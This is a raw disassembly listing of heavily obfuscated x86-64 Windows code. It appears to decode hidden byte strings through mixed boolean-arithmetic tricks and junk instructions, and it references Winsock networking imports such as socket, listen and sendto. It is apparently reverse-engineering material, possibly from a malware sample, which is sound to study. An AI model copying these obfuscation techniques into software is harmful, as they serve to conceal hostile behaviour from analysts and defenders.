mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140091110
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x1400910a4
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x140091050
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x14009195f
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
inc r8
dec r11
inc r11
jmp 0x140091033
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
dec r11
inc r11
jmp 0x140091033
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400919d7
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400919f9
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400919fc
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x1400918c8
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
jmp 0x1400918f1
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140091a2a
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
mov byte [rsp + r11 + 0x50], dil
inc r11
jmp 0x140091033
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
cmp r8, 0x3e8
jb 0x140091442
lea ecx, [r9 + 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x48]
jmp 0x140091970
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
cmp rbx, 0x40
jae 0x140091856
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x1400917b9
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140091465
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x140091873
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400916d6
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400914a2
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140091033
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x1400918f1
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400918c8
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400919fc
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
jmp 0x1400919f9
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x1400919da
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
dec r11
inc r11
jmp 0x140091033
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140091033
lea edx, [r9 - 0x74]
mov ecx, socket
jmp 0x14009195f
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140091662
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
jmp 0x1400914e4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140091688
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140091a2a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400916ac
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x1400918c8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400914ef
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400919fc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400916ed
lea edx, [r9 + 0x16]
mov ecx, 0x33
jmp 0x14009195f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140091719
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
dec r11
inc r11
jmp 0x140091033
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140091742
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400919f9
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009176b
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400919fc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009178f
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x1400918c8
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400914a2
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140091a2a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400917ee
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140091033
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140091812
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400918c8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009183b
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400919f9
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140091465
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14009195f
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x1400919d7
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x3c]
jmp 0x1400918c8
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140091033
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x22
add r9b, r10b
movzx eax, r9b
mov byte [rsp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 8
add r10b, cl
mov byte [rsp + r11 + 0x50], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140091033
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
inc r8
dec r11
inc r11
jmp 0x140091033
lea edx, [r9 - 0x7a]
mov ecx, 0x2b
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rsp + r11 + 0x50], cl
inc r8
dec r11
inc r11
jmp 0x140091033
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
inc r8
dec r11
inc r11
jmp 0x140091033
lea edx, [rsi + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add sil, 0x7a
movzx eax, sil
and al, r10b
add al, al
sub sil, al
sub sil, 0x56
add sil, dil
add sil, r10b
mov byte [rsp + r11 + 0x50], sil
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140091033
lea rax, [r11 + r12]
and r14b, al
mov ecx, 0x27
sub cl, r14b
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140091033
add r9b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7e
jmp 0x140091030
add r9b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140091020
lea rcx, [rbp + 0x1509a88]
jmp 0x140091a95
lea rcx, [rbp + 0xad59f2]
jmp 0x140091a95
lea rcx, [rsp + 0x50]
call fcn.140097760
mov dword [rbp + 0xb0], 0x60806026
mov dword [rbp + 0xb4], 0x3c203e22
mov dword [rbp + 0xb8], 0x76676a2e
mov word [rbp + 0xbc], 0x1f2a
mov byte [rbp + 0xbe], 8
xor eax, eax
mov qword [rbp + 0xbf], rax
mov dword [rbp + 0xc7], eax
mov byte [rbp + 0xcb], al
movzx edi, byte [rsp + 0x40]
movabs rsi, 0xda43000502029f01
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r13d, r13d
cmp r13, 0x1c
jae 0x140092387
movzx r9d, byte [rbp + r13 + 0xb0]
mov edx, r9d
mov qword [rbp + 0x210], rdx
cmp rbx, r13
ja 0x14009237e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140091b4c
lea rcx, [rsi + r13]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 7
jmp 0x140091b86
je 0x1400922f4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092273
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092237
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14009220c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400921bb
movzx edx, r13b
nop word [rax + rax]
movzx r10d, dl
movzx r12d, dl
movzx r15d, dl
cmp r8, r13
ja 0x140092375
lea r11, [r8 + 1]
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140091bd1
lea ecx, [rdx + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
lea rsi, [r8 + 3]
lea r14, [r8 + 2]
jmp 0x140091c10
cmp rbx, r11
je 0x1400921a3
lea r14, [r8 + 2]
cmp rbx, r14
je 0x140092176
lea rsi, [r8 + 3]
cmp rbx, rsi
je 0x140092139
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009211e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140092101
nop
lea rcx, [r8 + rbx]
cmp rcx, r13
jbe 0x140091e6c
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140091e52
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140091e25
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140091dfb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140091de1
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140091dc7
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140092358
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140092331
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140091d0a
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140091cf0
lea rbx, [r8 + 5]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140091dad
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140091d93
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140091d79
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140091d5f
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140091d35
lea rbx, [r8 + 2]
lea r8, [rbx + 0x2a]
jmp 0x140091c20
lea ecx, [rdx - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
jmp 0x140091b90
sub dl, 0x79
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x4f
mov rdx, qword [rbp + 0x210]
movabs rsi, 0xda43000502029f01
jmp 0x140091b20
sub dl, 0x5c
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x7c
dec r13
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
sub dl, 0x62
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x52
jmp 0x140092250
sub dl, 0x64
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x44
jmp 0x140092296
sub dl, 0x66
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x36
jmp 0x1400922c2
sub dl, 0x68
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x28
jmp 0x140092310
add dl, 0x7c
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x64
jmp 0x1400922c2
add dl, 0x74
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x2c
jmp 0x14009214f
add dl, 0x72
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x1e
dec r13
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
add dl, 0x70
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x10
inc r8
dec r13
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
add dl, 0x6e
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 2
jmp 0x1400921d5
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140091f14
inc dl
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 7
cmp rcx, 2
je 0x1400920e5
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140091fa6
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
cmp rbx, 9
jae 0x1400920ca
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x140092048
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
cmp r8, 0x42
jb 0x1400920b0
lea ecx, [r10 + 0x66]
movzx eax, cl
and al, r9b
mov edx, 0x1b
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x1400921d5
cmp rbx, r11
jne 0x140091f36
add r15b, 0x2a
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 0x26
jmp 0x140092310
cmp rbx, rsi
jne 0x140091f58
add r12b, 0x2e
movzx eax, r12b
and al, r9b
add al, al
sub r12b, al
lea edi, [r9 + r12]
sub dil, 0x42
jmp 0x140092296
cmp rbx, r14
jne 0x140091f7a
add r10b, 0x32
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5e
jmp 0x14009224d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140091e90
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400921d5
cmp rbx, r11
jne 0x140091fc6
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x1400921d5
cmp rbx, r14
jne 0x140091ffb
add r10b, 0x41
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x39
inc r8
dec r13
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140092020
add r10b, 0x49
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc dil
jmp 0x140092250
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140091ebd
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xd
jmp 0x140092296
cmp rbx, r11
jne 0x14009206a
add r10b, 0x54
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4c
jmp 0x140092310
cmp rbx, r14
jne 0x14009208a
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140092296
cmp rbx, rsi
jne 0x140091eea
add r10b, 0x5a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x76
jmp 0x140092250
mov byte [rbp + r13 + 0xb0], dil
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
movzx ecx, r9b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14009214f
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140092296
add r10b, 0x27
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x11
jmp 0x140092310
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x140092296
lea ecx, [r10 + 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
add r10b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x21
add r9b, dil
add r9b, r10b
mov byte [rbp + r13 + 0xb0], r9b
jmp 0x14009224d
add r10b, 0x1b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x43
dec r13
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5f
jmp 0x1400921d5
movzx r10d, r13b
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
add r10b, 0x67
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x2f
add r9b, r10b
mov byte [rbp + r13 + 0xb0], r9b
inc r8
dec r13
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
lea ecx, [r13 + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
dec r13
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
lea ecx, [r13 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r13, rcx
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
movabs rcx, 0xf7d500230e125907
add rcx, r13
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x31
add dil, cl
movzx r10d, r13b
add r10b, 0x6b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x13
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r13 + 0xb0], al
inc r8
add rax, r8
sub r13, rax
lea edx, [r13 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r13 + 0xb0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r13, rax
jmp 0x140092310
movabs rax, 0x8ec9000f0607dd03
add rax, r13
and dl, al
add dl, dl
sub r9b, dl
lea edi, [rax + r9]
sub dil, 0x15
movzx eax, byte [rbp + r13 + 0xb0]
add rax, r8
add r13, rax
inc r13
movabs rsi, 0xda43000502029f01
jmp 0x140091b03
sub r10b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x5d
movabs rsi, 0xda43000502029f01
jmp 0x140091b00
sub r10b, 0x7d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x6b
jmp 0x140091ae2
lea rcx, [rbp + 0x142d55c]
jmp 0x14009238e
lea rcx, [rbp + 0x105745d]
jmp 0x14009238e
lea rcx, [rbp + 0xb0]
call fcn.140097760
mov dword [rbp + 0x130], 0x44244496
mov dword [rbp + 0x134], 0x909c6f9a
mov dword [rbp + 0x138], 0x83316f9e
mov word [rbp + 0x13c], 0xafa8
mov byte [rbp + 0x13e], 0xa4
xor eax, eax
mov dword [rbp + 0x13f], eax
movabs rsi, 0x4c3b86d3d067
movabs r14, 0x2ae17bd72539f
movabs r12, 0x215a0afcab2d1
movabs r15, 0xe4b2947b7135
movzx edi, byte [rsp + 0x40]
xor r13d, r13d
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r11, r13
cmp r11, 0x13
jae 0x140092f8e
movzx r10d, byte [rbp + r11 + 0x130]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140092f85
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009245c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x2f
jmp 0x140092489
je 0x140092f18
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092e8c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092e60
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140092e1b
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140092f7c
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400924ba
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x140092500
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140092dd4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092db1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092d91
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092d74
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140092d55
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140092a80
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092a61
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140092a3b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140092a18
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400929f9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400929d9
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400929b9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009299a
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14009297d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009294b
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140092510
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140092f5f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140092f42
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140092706
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400926eb
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400926d0
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140092902
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400928b9
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14009287d
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140092855
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140092510
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 1]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140092826
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140092806
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400927eb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400927cb
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400927a8
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14009278d
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140092767
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14009273e
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140092723
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140092510
lea rbx, [r8 + 0x61]
lea r8, [rbx + 2]
jmp 0x140092510
lea ecx, [r9 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
jmp 0x140092500
lea ecx, [r9 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x27
jmp 0x140092490
add r9b, 0x51
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x37
jmp 0x140092430
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140092dee
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140092413
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140092413
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x140092e39
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140092e73
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140092e73
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140092ea6
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
